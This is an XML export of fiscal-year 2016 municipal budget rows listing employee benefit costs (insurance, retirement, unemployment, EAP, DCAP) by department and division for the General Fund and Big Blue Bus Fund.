<row _id="19495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17033</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17033</total></row>
<row _id="19496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3876</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3876</total></row>
<row _id="19497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="19498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="19499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12887</total></row>
<row _id="19500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8421</total></row>
<row _id="19501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1044</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1044</total></row>
<row _id="19502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>264982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>264982</total></row>
<row _id="19503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2966</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2966</total></row>
<row _id="19504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14090</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14090</total></row>
<row _id="19505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>210053</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>210053</total></row>
<row _id="19506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>139861</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>139861</total></row>
<row _id="19507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>315025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>315025</total></row>
<row _id="19508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>358</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>358</total></row>
<row _id="19509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4567</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4567</total></row>
<row _id="19513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>360</total></row>
<row _id="19514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21829</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21829</total></row>
<row _id="19515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>738</total></row>
<row _id="19516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6441</total></row>
<row _id="19517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>638</total></row>
<row _id="19518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1027</total></row>
<row _id="19519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4255</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4255</total></row>
<row _id="19520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7298</total></row>
<row _id="19521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2339</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2339</total></row>
<row _id="19522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19330</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19330</total></row>
<row _id="19523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="19524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>478</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>478</total></row>
<row _id="19525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5311</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5311</total></row>
<row _id="19526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>702</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>702</total></row>
<row _id="19527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2411</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2411</total></row>
<row _id="19528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>844</total></row>
<row _id="19529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>646</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>646</total></row>
<row _id="19530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3583</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3583</total></row>
<row _id="19531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7279</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7279</total></row>
<row _id="19532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3188</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3188</total></row>
<row _id="19533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>744</total></row>
<row _id="19534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7201</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7201</total></row>
<row _id="19535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3448</total></row>
<row _id="19536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6320</total></row>
<row _id="19537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12388</total></row>
<row _id="19538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2964</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2964</total></row>
<row _id="19539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22912</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22912</total></row>
<row _id="19540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28180</total></row>
<row _id="19541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>48123</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>48123</total></row>
<row _id="19542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4039</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4039</total></row>
<row _id="19543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4441</total></row>
<row _id="19544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1576</total></row>
